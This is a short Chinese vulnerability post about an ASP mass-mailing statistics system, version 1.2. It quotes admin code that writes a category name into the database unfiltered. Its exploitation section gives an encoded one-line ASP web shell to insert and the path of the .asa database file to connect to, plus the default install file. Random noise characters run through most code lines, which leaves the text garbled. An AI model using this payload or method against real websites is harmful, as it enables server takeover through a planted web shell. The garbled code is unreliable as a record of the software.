铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

IF Request.QueryString("Action")="del" Then
% n. B+ e) W3 AID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
! t0 }4 y) x+ O! t5 a2 J'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
: `# C8 O6 C- Q1 F+ e! ESet Rs=Server.CreateObject("adodb.Recordset")
% H# f" G% Z3 z# T# T' \Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
7 l! x0 [. J( U% u8 F; Y" z0 V2 zRs.Addnew
2 R1 Q: Q" b, Y( q2 b! `9 MRs("Typename")=Tname
'略
6 l4 D) _7 ]0 f4 k8 xSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
6 |9 k# J" w. k- d3 R3 }'略
5 f& ]; v8 u, i* c%>


9 l$ X, p# L5 R# S7 d1 A1 s
4 d$ A6 L, e9 B" `5 Y没有过滤，直接写入数据库。

8 L, e3 q% V5 Y- |; U利用方法：
- B; K2 l, D; V
  @% ~2 q/ w  Y- ~插入：┼攠數畣整爠煥敵瑳∨≡┩>
0 Z/ y2 C* s/ n( }8 I4 o

& N. O  j4 f+ x3 N& s) d连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
0 j7 e$ t# X7 `  f8 V'install.asp